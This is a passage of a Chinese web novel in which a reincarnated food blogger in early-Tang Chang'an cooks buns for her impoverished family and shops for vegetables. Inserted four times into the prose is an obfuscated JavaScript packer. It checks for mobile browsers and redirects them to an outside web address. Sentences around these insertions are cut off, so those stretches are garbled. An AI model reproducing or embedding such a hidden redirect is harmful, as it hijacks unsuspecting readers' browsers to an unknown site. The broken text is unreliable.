果然,白氏下一句话便是:“我怎么没听说过,如何做?” 童白微笑道:“等我做好了,咱们都尝一尝,要是觉得好吃,我打算做吃食去售卖。”至于说同住一个屋檐下,白氏会不会偷学到手艺这一点,童白并不担心。 后世网络那么发达,好多博主录制了制作视频,依然会有跟着视频学不会的存在。 庖厨之技,说简单也简单,说难也难。 白氏并不傻,自然是听明白了‘她’这话中意思,别再继续打听了。但她却不愿放过这一次摊牌的机会。 ‘她’孑然一身,自己还有三个年幼的子女,只有自己知道的越多,才能制约住‘她’。 童白也不是真的十五岁,面对着跟她上一世差不多大的白氏,心里也清楚对方的打算。 顾不得那么多,单方面结束对话:“天色不早了,二郎他们定然是饿了,我去做晚膳,阿娘。” 这一声“阿娘”像根细针,精准地刺在白氏心口最柔软也最鲜血淋漓的地方。一样的声音,一样的外貌,可里面的人……白氏喉头哽住,闭上眼,任由那滴悬了许久的泪滚落。 直到二郎抱着四郎进来,小心翼翼地将咿咿呀呀的幼弟放在竹床上,“阿娘,我去帮阿姊烧火。” 四郎挥舞着小手,朝白氏嘟囔着:“抱……” 白氏的目光落在四郎被粗麻衣磨红的小脸上,又掠过二郎带着期待跑出去的背影,一股浓烈的酸涩直冲眼底。 是她没用!这病恹恹的身子拖垮了家。她的大女儿,猛地攥紧衣襟,指甲深深陷入掌心,仿佛只有这尖锐的痛楚才能压住心口翻江倒海的悲恸与茫然。 灶屋里,童白深吸一口气,将白氏那绝望的质问和泪水暂时抛诸脑后。 虽然她知道白氏作为失去了孩子的母亲,悲恸是难免的,但作为顶着白氏女儿躯壳“活着”的自己,在面对这种场景时,难免无措。 灶膛边的二郎,已熟练地生起了火,小脸被火光映得通红。 柴火燃烧的噼啪声中,三娘像只怯生生的小猫,倚着门框,含着手指,乌溜溜的大眼一瞬不瞬地盯着阿姊的手。 童白视线扫过墙角盖着布的陶盆,那里放着她买回来的‘霉豆子’,才因它跟白氏闹得不愉快,今日天色已晚…… “二郎,这霉豆子是可以吃的,”童白想着当初在胡商店内二郎的反应,“后续阿姊做出来后,你不同意,阿姊绝对不会乱吃,好吗?” 默默烧火的二郎没想到阿姊不仅没怪自己告状,反而还解释了一遍。内心有一股子说不上来的欢喜,重重地点了点头。 该说的话都说了,童白把装着粟米和清水的陶瓮放在灶上。 将麦粉倒入大瓦盆后添了些许压碎的盐搅和匀,放了适量的酵头,等陶瓮里的粟米汤温热后再添水做面团。 天冷,不止和面的水要用温的,添加了酵头的面团也需放在温暖的灶边发酵。看着墙角越来越少的木柴,童白嘟囔了一句:“明日还要去买木柴。” 这木柴烧得也太快了,要是能有更耐烧的燃料就好了。 明日,她还打算去城南的菜园子那边多采买些萝卜和白菜回来,一来是可以自家吃,二来也可做些酸腌菜。 前几日她在西市还真没发现酸腌菜,咸菜倒是没少见。 酸腌菜在美食云集的后世也都有一席之地,像酸豆角,酸萝卜这种都属于烂大街的种类,蜀地的泡菜和湘西的泡菜,滋味一绝,在童白的前世被戏称为华国沙拉。 至于那酱油,洗净晾干后还得放入陶坛中日晒夜露,慢慢发酵。 少说也得三五个月的光景。 眼下住在长安城,睁眼就要花钱,远水解不了近渴。当务之急,还是得先琢磨点能快些赚钱的美食。 酸腌菜是个路子,今晚这包子若做得好,或许也能去三月三的庙会上试试。 想着这些的功夫,陶瓮里的米汤也热了,童白舀了点滴在手背,温温的正合适,一点点舀出倒入面盆中,直到将面粉搅和成了她想要的状态。 一家子病的病、弱的弱,所以她特意加大了面团的水量,打算做面皮暄软的小笼包。 口感好一些的同时,也更利于肠胃克化。 她做食物并不会死磕食谱上的步骤,这可能也是因为她的嗅觉和味觉比常人更灵敏一些的缘故。 别人觉得很难的复刻美食之路对于她来说,相对简单些,吃过一次没品尝推敲出来,但多吃两三次,总归是能破解。 但她总觉得这样好像走了什么捷径似的,所以她做美食的时候,就不愿意生搬硬套尝出来的食谱,喜欢自己琢磨着添减变化。 创新这东西,往好的发展是创新,不好的发展便是黑暗料理。 她也不管这些,成功的发到平台上,翻车的也发上去。甚至于,后者的流量反倒更好一些。 将揉好的面团放在灶上醒发,童白开始准备馅料。 白菜洗净切丝,放入粗盐,静置在一旁杀出水分,这个功夫,将猪板油切成小块,“二郎,小火即可。” 切好的猪板油放入陶瓮中,考虑到陶制品更易损坏,除了注意烧制菜肴的火候外,她还需要分些注意力在陶瓮的使用上。 看着三娘趴在二郎肩上好奇往灶上张望,瘦的有些脱相的脸上全是对食物的向往。 “二郎,你牵着三娘去主屋,这边一会儿要榨油,溅到她身上就不好了。”这话说的有些严重,但是童白得这般说。 实际上,灶屋有明火,孩子又太小,并不适合出现在灶屋,但她虽会烧土灶,却没童二郎熟练。最主要的是,童家并没有让孩子不干活的条件。 熬猪油的“滋啦”声响起,霸道浓烈的香气瞬间弥漫开来,驱散了灶屋里的阴冷,也像一只无形的手,轻轻拂过紧绷的气氛。三娘不自觉地往前挪了一小步,连主屋里隐约的啜泣声似乎都停滞了一瞬。 这一股子霸道的香味溢出后,三娘怎么可能愿意离开灶屋,二郎从牵改为拉,都没能将她拉出灶屋。 三娘也不说话,就好像她不说话,阿姊就不会发现自己一般。 童白转头看到了兄妹俩拉扯对峙的模样,低头失笑,两个孩子都瘦,二郎倒不是奈何不了三娘,不过舍不得对三娘下重手,急得脸都红了,却还是手足无措。 论油渣对孩子们的吸引力,那可是大的很哟。 “好了,好了,三娘乖乖的站到灶屋门边,二郎过来帮我烧火,小火。” 三娘嗅着空气中的香味,点点头,往门边走去,找到个既能闻嗅到香味又隔灶台有段距离的位置,转身含着手指眼巴巴地望向灶台。 二郎回到灶前继续烧火,两边的灶炉都被他照顾的很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042871|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童白的心思渐渐全部回到炼猪油上,后世年轻人更多追求健康的饮食,猪油渐渐吃的少了,但荤油特有的香味儿是素油无法比拟的存在。 今日的晚膳她打算做白菜油渣包子吃,别看这两种材料十分普通,但结合在一起却是美味。 “可以熄火了。”黄褐色的油渣曲卷着纠缠在一起,童白熟练的用竹筷和木勺将它们挑出来放在碗中备用。 装满温热猪油的陶瓮,她并没有端离炉灶,让它自然降温后再处理。 这会儿,被盐杀出水的白菜也好了,童白将白菜倒入盛满水的木盆中投洗了两遍,最后用干净的纱布包住,再用竹筷绞紧纱布口,转动竹筷挤出水分。 原主双臂的力气可不如上一世从小就帮着爷奶干活的童白,用手攥干白菜水分有点难,只能借助工具。 找出家里的大陶碗,将攥干水分的白菜丝放进去,加入磨得细细的盐末和一点豉汁。没有后世那些提鲜的调料品,滋味是寡淡了些,但也勉强能用。 她又小心滴了几滴金贵的胡麻油进去拌匀。不仅添香,更能裹住菜丝的水分,让馅料干爽。拌好的菜丝搁在一旁备用。 灶膛里的余温烘着,油渣已变得温温的。童白捻起一小块焦黄酥脆的放进嘴里,油香瞬间弥漫开来,是久违的、让人心安的味道。 她看着灶房门口两个眼巴巴的小脑袋,心下一软,走过去,给烧火累得小脸通红的二郎和倚着门框、含着手指的三娘嘴里各塞了一小块。 “慢点吃,小心烫着。不能多吃,肠胃受不住。”她轻声叮嘱。两个孩子立刻像得了什么珍宝,小心翼翼地用舌尖抿着,小脸上全是满足。 童白回到案板边,从碗里抓出一大把油渣,撒上一点点细盐末,细盐化得快,入味均匀。把油渣拌入白菜丝里,她又舀了小半勺刚刚熬好、尚带温热的猪油淋上去。 童白用筷子挑了点尝了尝味,不错,白菜鲜嫩油渣焦香。 调制好的肉馅放在远离灶炉的地方,天寒,馅料表面很快凝起一层诱人的白霜。 童白开始整治面团。 面团经过发酵,比之前膨胀了至少一倍大。童白用筷子扒拉开面团,些许酸味传入鼻腔。 用酵头发酵便会如此,天然带了些酸意。若在后世,她会化一点点小苏打水揉进面团中和酸味,在没有小苏打粉的这里,先这样吧。 不过,她的确也要找到小苏打粉的替代品。不知道市面上售卖的面食是不是也带着一股酸味? 她记得草木灰是碱性的,添加草木灰水是不是大家常用的办法?回头她得问一问卢婶子。 家里能糊弄着吃一顿,但她可是打算着售卖食物呢,原本这里就缺失调料,若是味道差了,谁愿意买单呢! 心里盘算着这些,她用筷子开始搅和面团排气。这种水分量大的面团无需揉面,更无需擀面皮。只要揪下一团大小合适的面剂子,掌心微微压扁成厚底小圆饼即可。 竹筷挑起一大团油汪汪、香喷喷的馅料放进去,右手拇指食指飞快地捻着面皮收拢,指尖一旋,一个胖乎乎、白生生的包子便稳稳当当地立在案板上。 不过,这身体终究还是虚,不多时手臂和手腕便隐隐发酸,她不得不停下来甩甩手腕。 灶膛里的火映着童白专注的侧脸。三娘像一只被香气勾住的小猫,悄无声息地挪到了灶台边,踮着脚,乌溜溜的大眼睛一眨不眨地盯着那神奇变幻的面团和阿姊灵巧的手指。 “阿姊,三娘饿了。”小丫头含着手指,声音含糊却响亮。 童白低头对上三娘亮晶晶、写满渴望的眼睛,心头一软,笑着用沾了麦粉的手指轻轻点了点她的小鼻子:“小馋猫,再等等,蒸饼马上就好。” 一旁默默烧火的二郎,眼中的羡慕一闪而过。 灶屋外寒风呼啸,灶屋内充满了食物的香味。小火熬制的粟米粥也在油渣的霸道香味中撕开了一道口子,散发出其特有的食物清香。 12. 黄瓜咸菜丝 童二郎将另一个灶炉烧起来,不过半刻钟,陶瓮中的水已然温热,童白将案板上的包子放入垫了纱布的竹蒸笼里,架在家里专门烧水陶瓮上,“将柴抽掉,等一会儿。”等待的功夫,正好让包子进行二次醒发。 趁着这会儿,她掀开粟米粥瞧了眼,“差不多了。” 拿出些黄瓜来,利落地切片切丝。拍了几颗蒜粒,又滴上几滴胡麻油,竹筷利落地一拌一颠。咸菜的咸鲜、黄瓜的清爽、蒜粒的微辛与胡麻油的浓香便交融在一起,一碟简单却开胃的咸菜黄瓜丝便做好了。 童白夹了一点尝尝味道,满意地点了点头。在俩孩子期待的目光中,给他们各尝了一小口。 估算着时间掀开了蒸屉盖,包子比起之前涨大一圈。 “二郎,烧大火。” 水滚架上蒸屉,童白开始默默数数。她也不想用这个笨办法,但是没计时器的这里,她真不知道如何计时。 “吃蒸饼了。”一刻钟后,童白掀开蒸屉盖,冒着腾腾白气儿的蒸屉里,渺渺白烟中,显露出愈发白胖的包子来。“好了,可以吃包子了。”她心里想着,嘴上却扬声招呼道:“吃蒸饼了!” 灶屋内暖意融融,粟米粥的热气与包子的香气交织升腾,将屋外的寒意彻底隔绝。 “三娘,这会儿还烫,等一会儿阿姊给你拿,你先乖乖坐在竹凳上。”童白生怕孩子太小,被烫着。 去了主屋,童白抱起四郎,跟在白氏慢慢挪步的身后,往灶屋而去。 经过这几日顿顿不落的膳食喂养,别说三个小的,就连原本虚弱的只能靠汤药维系生命的白氏也明显有了好转。 可见济世堂的许医者说得对,白氏那口血是积郁太久加之身子太虚才呕出来的,不是要命的痨病。只要好好养着,补充营养,总能慢慢好起来。 大冷天里喝上一碗暖胃的粟米粥,配上咸菜丝,不要太舒适。 白氏看着孩子们狼吞虎咽,小脸上洋溢着她许久未见过的、鲜活的满足。 她迟疑着,小口咬下,温热的、裹着油香的汁水瞬间盈满口腔,焦脆的油渣混着清甜的白菜,朴素的食材竟迸发出惊人的美味。 齿尖陷进云朵似的面皮,温热汤汁混着猪油鲜香炸开,连日来被药汁浸透的苦涩味蕾仿佛在这一刻苏醒了,竟品出一丝白菜的清甜。 白氏不知不觉吃完了一个,又一个,正伸手去拿第四个。 “阿娘现在肠胃虚弱,不能多吃,”童白适时出声制止,声音平静,目光扫过二郎和三娘,“你们也是,一人两个,细嚼慢咽。” 童白只吃了两个半,还有半个,喂给了怀里的四郎吃了。 白氏伸出的手顿在半空,最终缓缓收回,捧起温温的装满粟米粥的碗,垂着眼睑,低低地“嗯”了一声。 腹中的暖意和舌尖残留的鲜香是真实的,孩子们欢快的咀嚼声也是真实的。 那些沉甸甸的、几乎将她压垮的悲伤和疑虑,在这满屋浓郁温暖的食物香气里,竟暂时被冲淡、被推远了,像隔着一层氤氲的雾气,一时难以凝聚成形。 童白抱着吃饱喝足、开始揉眼睛的四郎,轻轻放入白氏怀中。小家伙立刻抓住母亲的衣襟,满足地蹭了蹭。 怀里的重量温软而踏实。白氏低头看着四郎天真无邪的睡颜,抬眼望向灶火旁。 童白正利落地收拾着案板,二郎踮着脚帮忙递蒸笼,火光勾勒出两人忙碌而默契的侧影。 一丝极其复杂的情绪悄然滑过白氏心底,混杂着未散的痛楚、一丝难以言喻的安定,还有深重的疲惫。 “今日的蒸饼滋味如何?”童白的声音打破了短暂的宁静,她边擦着手边问。 “好吃,三娘喜欢!”三娘响亮地回答,嘴边还沾着一点油光。 二郎眯着眼,回味无穷:“真香!比……比记忆里任何蒸饼都香!”他机灵地避开了可能引起白氏伤感的“府”字眼。 白氏沉默片刻,指尖无意识地轻抚着四郎的背脊,忽然开口,声音带着久病后的沙哑,听不出太多情绪:“你……是想挎着提篮,在坊内叫卖这些蒸饼?”她回想起童白这段时日常跑西市、买东西的举动。 童白手上动作一顿,抬眼看向白氏,有些意外她会主动问及此事,谨慎答道:“是,阿娘。我看坊里晨昏时常有大娘婶子们挎篮卖些吃食点心,便想着试试。” “挎篮……”白氏微微蹙眉,目光扫过简陋的灶屋,“天寒,饼易凉。凉了,滋味怕是大打折扣。”她语气平淡,像是陈述一个客观事实。 童白没想到白氏会给出实用的建议,她思索道:“家中暂无轻便炉灶。明日我去布庄……看看能否买些厚实的布帛和絮,缝个保温的套子放在提篮里,或能多保一时热气。”她将“棉被”换成了更符合时代的说法。 “嗯。”白氏低低应了一声,目光落在跳跃的灶火上,过了几息才又道,“或许可以添置个小泥炉。那饷银,本就是为这一家子嚼用的。”她的话说得很慢,带着一种认命般的妥协。 白氏这般说,绝非内心放下了那早夭的爱女,只是……只是看着怀中四郎安稳的睡颜,听着三娘满足的咕哝,她不禁有些失神。 童白听懂了,点点头:“多谢阿娘。我记下了。”她顿了顿,看着白氏苍白的侧脸,放柔了声音提议,“阿娘,一会儿……不若您拿几个蒸饼给巷口的卢婶子家送去?今日还粮,承了她家的情。咱那独轮车,明日我还得用,要去城南菜园子买些白菜萝卜回来。” “你去。”白氏几乎是立刻接口,下意识地将怀里的四郎搂紧了些,仿佛那是她的盾牌,“我……这病体,吹不得风……” “阿娘,”童白的声音温和却带着不容置疑的坚持,她走近两步,直视白氏双眼,“卢婶子家就在巷口,不过几步路。您去走动走动,于身子骨恢复有益。再说了,吴大伯与爹是同袍,两家常走动,日后二郎他们也好有个照应。” 白氏身体几不可查地僵硬了一下,避开了童白的目光,嘴唇翕动,最终却没有再反驳。她低头看着四郎,长长的睫毛垂下,遮住了眼中翻涌的抗拒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042872|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初她和阿娘在逃难路上染了风寒,偏心的爷奶以风寒会传染将她们卖掉了。现在身子在转好,但她怕出门又严重了。 童白不知道白氏心中的想法,她从原主的记忆中,知道白氏这病根在‘虚’不在‘毒’,只要吃好穿暖,少思少虑,总能熬过去。 所以白氏的身子并不如她以为的那般差。 将装满六个白菜猪油渣包子的竹篮递给白氏,童白从白氏怀中抱过四郎,“阿娘去送蒸饼吧,我会给四郎洗漱的。” 白氏再回过神来时,已然拎着竹篮站在巷道里。寒风钻进领口,她下意识地缩了缩脖子,指尖掐进掌心,那点微痛却奇异地让她清醒。 怨吗?自然是怨的。 可怀里残留着的四郎余温,眼前似乎还有孩子们满足的笑脸,还有这篮子里实实在在、香得勾人的蒸饼,以及饱饱的肚子,无一不在提醒她。 得‘活’下去! 这个念头压过了怨怼和恐惧。 巷口的吴家就在眼前,她深吸一口气,迈开了仿佛灌了铅的腿,缓慢地朝吴家走去。 天擦擦黑,白氏回来了,童白接过空篮,目光掠过白氏比出门前稍显生动的脸颊,心中微定。 * 翌日,童白从白氏嘴里听来今日会是个大晴天,趁着天早人少,她带着二郎推着独轮车从坊西拉回两车的井水,将家里的大小水瓮都装满了。 做吃食生意,水质安全可是做吃食的头等大事。 早膳吃的是素馅煎饼和粟米粥,煎饼是卢婶子的回礼,馅料是野菜配着豆渣制成,微微发苦,却不难吃。 至于昨晚做的包子,童白分成了好几份,她将济世堂那份单独包好:“许医者这份我回来时顺路去送,另外两份,阿娘只需送到坊吏和崔家即可。” 上回白氏咳血着实凶险,原主去济世堂请医者,别的医者或避或推拒,只有这位许医者愿意上门一趟,虽说原主给了出诊费,但这份愿意出诊的情分,她却不能不记住。 见白氏虽答应的有些勉强,却也没拒绝,童白安心背上竹制的水筒,腰间系着那带着‘崔’字的旧钱袋,推着独轮车从南坊门出去。 长安城外廓城由一个个坊组成,坊内的道路是土路,但坊外的道路铺设了青石砖块。 新朝建立尚不满一年,史书中的盛世长安现如今还只是个经历战乱后、尚在恢复期的孩童。 前朝长安征兵好几回,街上穿行的妇人和小娘子并不算少见,身穿麻衣穿行其中的童白并不显眼。 大门不出二门不迈,那是权贵富户家娇养的小娘子们的规矩。平民之家,睁眼便是柴米油盐酱醋茶,样样都要钱。 比起被养在深闺,童白更庆幸自己穿到了个平民之家,虽然靠自己生活很辛苦,但也比像谢家小娘子那样为家族利益嫁给个自己祖父那般大的官宦做继室的好。 看着这些为生计奔波的妇人小娘子,童白更坚定了自己的想法:在这长安城立足,她唯一的倚仗,便是这一手琢磨美食的本事。 13. 城南菜园 一路行来,童白并未瞧见售卖吃食的摊贩,可见小食摊要么在东、西街市里,要么藏在坊间的小道中。 新朝初建,城南住的人少,菜园子却不少,童白从卢婶子嘴里听来的消息,径直去了她去岁秋日买进冬储菜的冯家。 过了一个冬日,冯家白菜萝卜早已售卖一空,根本等不到童白来买。 但童白依然跟着冯家娘子去菜园子看了看。 冯家的菜园子在房子南面,一亩地被开垦成大、小陇,分别种着不同的菜蔬,“这是芥菜,蔓菁,那边是菠菜和葱蒜,窖里还有姜,”冯家娘子指着自家菜园子跟童白介绍,“往年这会儿头茬韭菜差不多出来了,今年赶上倒春寒,种下去的韭菜才将将冒尖。” 童白边观察地里的情况,边点头道:“是咧,也不知道什么时候才能转暖。” 冯家娘子视线在童白身上扫过:一身洗得发白的麻布襦裙,脚踩麻鞋,身材瘦削,脸色蜡黄,活脱脱一副久未饱食的模样。 最终,她的目光落在童白推着的那辆独轮车上。 甭管这小娘子穿着多寒酸,能推着独轮车来,总归不是自家能轻易开罪的。 “天老爷的事,咱也不知道,”叹了句,冯家娘子笑问:“小娘子可有看中的菜蔬?我冯家在城南这片经营菜园子已十数年,产出的菜蔬品相绝对有保障,小娘子放心买便是。” 冯家娘子对自家伺弄的菜地很有信心。 童白仔细打量后,心里也有了底。 是不差。但买家哪能只看一家就定下,总得货比三家才成 “婶子,阿娘让我来买些白菜和萝卜,卢婶子推荐了您家,说她去年秋月在您家囤的冬储菜比别家水灵不说,价格还怪实惠的,但您家……”童白顿了顿,抿唇道:“春日的菜因着倒春寒尚未出来,我只能先去别家看看白菜和萝卜,不知婶子可有别家推荐?” 这一番话是既表明了自己是老顾客的推荐,不买你家不是觉得你家不好,而是你家没得卖。 总之,这话冯家娘子挺受用。 “小娘子称呼我为张婶子便好,”冯家娘子娘家姓张,她略加思索又问,“可是崇贤坊靠北门的卢家大姐推荐来的?” 童白颔首,下巴微朝手推车点了点,“这车便是借的卢婶子家的。” 听到是崇贤坊的卢婶子,张娘子笑容真心了几分,“行咧,我领着小娘子去别家看看。”崇贤坊的卢嫂子家夫郞是校尉,她娘家父兄在县衙任职。 眼前这小娘子看着不起眼,却不能在自家这儿受了怠慢。 热情的张娘子领着童白去了相熟的几家菜农家。不过,都开春了,有门路的菜农早已将去岁的冬储菜售卖了出去。 去了几家,都跟张娘子家差不多的情况。 最后,来到最南面的一块地,这家菜地比别家的都要大上一些,张娘子走到地边那用破木板混着泥搭建的屋子边,喊道:“甜妞,甜妞,你阿爷在家不?有人想要买白菜和萝卜……” “吱呀……”一声,下部已腐烂的木门从里面被拉开,显露出个瘦小的身影,七八岁大小,声音怯懦道:“张家婶子,我阿爷、阿奶去街市售卖菜蔬去了,您可否晚点再来?” 张大娘笑脸一僵,转身跟童白商量道:“这张老汉家种的菜绝对是好的,这一片,估计也只有他们家还有白菜和萝卜,小娘子晚点再来一趟可行?” 童白也知道去岁的冬储菜并不是那么好找到卖家,若是张老汉家有白菜萝卜,她再来一趟也不是不行,但卖家为何没能去岁卖光的情况她却也得知道缘由。 “不知道这张老汉家的菜蔬售价几何?”去岁没全卖了,要么价格不合适,要么品相不过关,又或者有别的原因,但总归是有原因。 对于她来说,做酸腌菜只要原材料没烂掉,长得难看点也不妨事。但这一种,价格上自然也会实惠许多。 她的初始资金就那么点,必须精打细算着来。 张娘子一时也不知道如何回答这小娘子。 按理说他们这些菜园子的售价是差不了多少的,但张老汉家的价格,她也不敢替张老汉回答。 于是张娘子提议:“要不这样,我先让甜妞拿上点萝卜和白菜给小娘子你,小娘子你将家里地址留下,等甜妞家爷奶回来,我让他们找你去?” 童白眼角余光瞧见了目露期待的甜妞,点头道:“行,这拿回去的萝卜和白菜也都过秤,按市价算。”她不是瞎大方,但也不可能拿了不给钱。 听到她这话,张娘子心下一暖,“若是买卖没成,萝卜按照三个大钱一斤,白菜按五个大钱一斤算;若是成了买卖,便将这斤数算到总斤数中,现在给的银钱就算做定钱,小娘子觉得可行吗?” 童白点头,张娘子这说法的确精明中又带上了几分人情,是个做生意的。 甜妞闻言,不待张娘子吩咐,便‘哒哒哒’地跑开了。很快,带着拎着个装了两颗大白菜、三个白萝卜的竹篮出来,双手举着递给童白,“给。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042873|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音粗哑如同砂砾。 童白微怔,连忙接过,入手沉甸甸的,“这有多重?” 甜妞看向张娘子,童白顺着她的视线也看过去。 张娘子:…… 张娘子:“去我家称一下,到时候我再告诉张老汉。” 回到冯家,张娘子跟童白说了甜妞家的事:这张老汉家一直在长安城南种着菜园子,家里人不至于饿肚子。但随着张老汉家两个儿子和三个孙儿陆续被抓去打仗后,这张老汉家的日子开始不好过起来。 儿子离家第二年,一场风寒要了大儿媳的命,小儿媳前些年被匪患抢走,现如今只留下小儿子家的小孙女随着老两口过,勉强靠着种菜生活。 去年秋日,经常来张老汉家采买蔬菜的那家大户的管事换了人,收菜价压得特别低。 张老汉梗着脖子没同意,那家管事放出话来,谁要买了便是跟自家不对付。 这张老汉家的萝卜和白菜才留到了这会儿。 见童白一副若有所思的模样,张娘子忙补充道:“小娘子也别怕得罪那管事,听说那家去年年底时便因故搬离了长安城。要不这张老汉也不敢每日去外零星售卖菜蔬。” 童白听着虽心生愤慨,面上却未表露半分。 战乱年间,封建社会,仗势欺人之事常见。 只是甜妞那期待又怯懦的眼神让童内心有些触动,便道:“适才去张老汉家,瞧见姜也不错,也给我称些吧。” 姜虽口感辛辣,但驱寒祛湿,她买这么多,除了做酸腌姜外,也想给二郎他们做点姜糖,甜甜嘴的同时,也能驱寒,提升点身体里的阳气。 她才不是听了张娘子的话语后才又从张老汉家多采买的。 嗯,不是! 没办法,美食博主界也卷,除了会做好吃的美食外,还需要了解不少的食物养生知识,这样才能显得更厉害。 回程路过某个巷口时,遇到城内巡逻的武侯。童白微垂着头,贴着坊墙根走着,生怕挡住武侯的道。 新朝建立后,武侯每日会在坊间和房内巡逻。这也是童白敢一人往南边菜园子来的原因。 唐初,坊市制度十分严格,一定程度上也保障了百姓的安全。 等到与这一队武侯错过身,童白加快了脚上的速度。不过,原主身子娇弱,她以为的加快速度,其实并没有多快。 而勾着头赶路的她并未注意到,穿着护甲的武侯里有一名壮硕汉子瞧见她,视线在她身上多停留了几瞬。 14. 生不带来死不带去 “勇哥,咋了?可是有什么情况?”站在壮硕汉子身边的军士询问,眼神也顺着同僚看的方向看去。 唔,除了个低着头穿着寒酸的小娘子推着个跟她身份不符合的独轮车外,没什么不对劲的地方。 “可是那小娘子的独轮车有什么问题?”问话的人,脸上带上了几分认真。 壮硕汉子摇头,“我见那独轮车上的菜蔬还不错,有些晃神。” 菜蔬?问话的兵士一愣,虽然不明白这菜蔬有什么好看的,但想着壮硕汉子的身份,没再继续多言。 壮硕汉子面上平静,心里却翻腾开了:要不要把瞧见童家小娘子的事,跟十九爷提一嘴? 上回奉主子命去童家送饷银,虽只匆匆一面,童家的情况他也有所了解。 童校尉与自己同在崔将军麾下征战好些年,更是他们这些崔家部曲亲兵的榜样! 若是可以,他也想同童校尉一般,从主家脱籍而出。 回到崇延坊,童白先去了坊西许医者家,送上了蒸饼说了几句感谢的话语便往家奔。 路上,遇到卖蒸饼的娘子,童白掏出四个大钱,买了一荤两素共三个蒸饼。哪怕对自己的厨艺有信心,但了解目前市场行情却是少不得。 回去的时候发现铁锁挂在门上,用腿抵着车,才打开锁,就感受门从里被拉开,二郎和三娘扒着门,探头朝外看。 一见是阿姊,两人瞬间喜笑颜开,二郎上前接过锁匙,跑回主屋收好。这两样东西都不便宜,用完要收到主屋存好,可不能丢。 三娘来到童白身边,扯着她的裙子,一步一步跟着童白往院里走。 真是个黏人的乖娃娃。 童白将推车停稳,喘着粗气坐在了院子里的竹椅上,去南边菜园子一来一回,天光已大亮,她视线扫过放在角落里盖这布的霉豆子,心想一会儿得把它洗净晾晒起来。 对了还要找陶瓮,买陶坛做酸腌菜。 不过先不用做太多,只要酸母水做好了,回头可以放新鲜菜蔬进去,腌制也快,更不怕因腌制过久而味道过酸。 至于说酸母汁的制作,现代方子许多,但大多离不开用辣椒来开胃和增香,但这里没辣椒,辣味替代品茱萸她暂时没找到,只能再想一想别的办法。 童白寻思方子的功夫,二郎已经从灶屋倒来一碗粟米汤给童白送来。 阿姊说,阿娘大病初愈,他们几个又年岁尚小,比起喝水,更适合多喝些粟米汤。 早膳熬制粟米粥时,留下了一大盆的粟米汤,他都温在了灶上。 “阿姊喝。”二郎将碗递到童白面前。 鼻间嗅着粟米汤清香的味道,童白被二郎贴心的举动弄得有点感动。 前世爷爷奶奶去世后,自己便一个人生活。后来她去了大城市打拼,赚了更多的钱,却缺失了亲情。 是的,哪怕父母都还在,但父母对她这个早年留在家中给爷奶带大的大女儿并没有什么感情,更喜欢的是养在身边的小儿子和小女儿。 心口像是被什么东西狠狠拧了一下,上一世她辛苦积攒的、本以为能带来安全感的东西,终究是镜花水月。 算了,童白深吸一口气,将翻涌的情绪压回心底。 钱财这物,生不带来死不带去。 与其沉溺过去,不若过好眼前这一世。 喝完粟米汤,心跳缓和些后,童白起身先将灶屋角落里盖着布的瓦盆里的霉豆子清洗了,找了院子里阳光最盛的位置,将洗净的霉豆子放在簸箕中摊开晾晒。 现在的阳光虽不如夏日猛烈,但有些微风,水汽很快便会风干。 她又将准备腌制酸腌菜和霉豆子的瓦坛和瓦瓮清洗干净,倒扣晾在通风处。 然后端着竹篮坐到推车前,先用刀削去萝卜皮,用清水洗干净萝卜芯后再去坊西洗萝卜皮。 其实,她可以全部拉去坊西水井处先洗完再回来削萝卜皮的,但她又想一趟洗菜顺带拎水,这样能空出手推车上的位置再拉些水回来。 是的,哪怕用水也得如此“精打细算”。 等她在坊西洗完菜又推了一车水回家时,东北隅童家穷得只能捡富户家不要的萝卜皮吃的闲话又传开了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042874|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过,童白根本无心去想这些。 就这么一趟洗菜打水,她累得坐在竹椅上直喘气,手臂酸麻得几乎不听使唤。 看着满满的水瓮,她心里盘算着:若真要做吃食生意,光靠坊西水井极不方便。 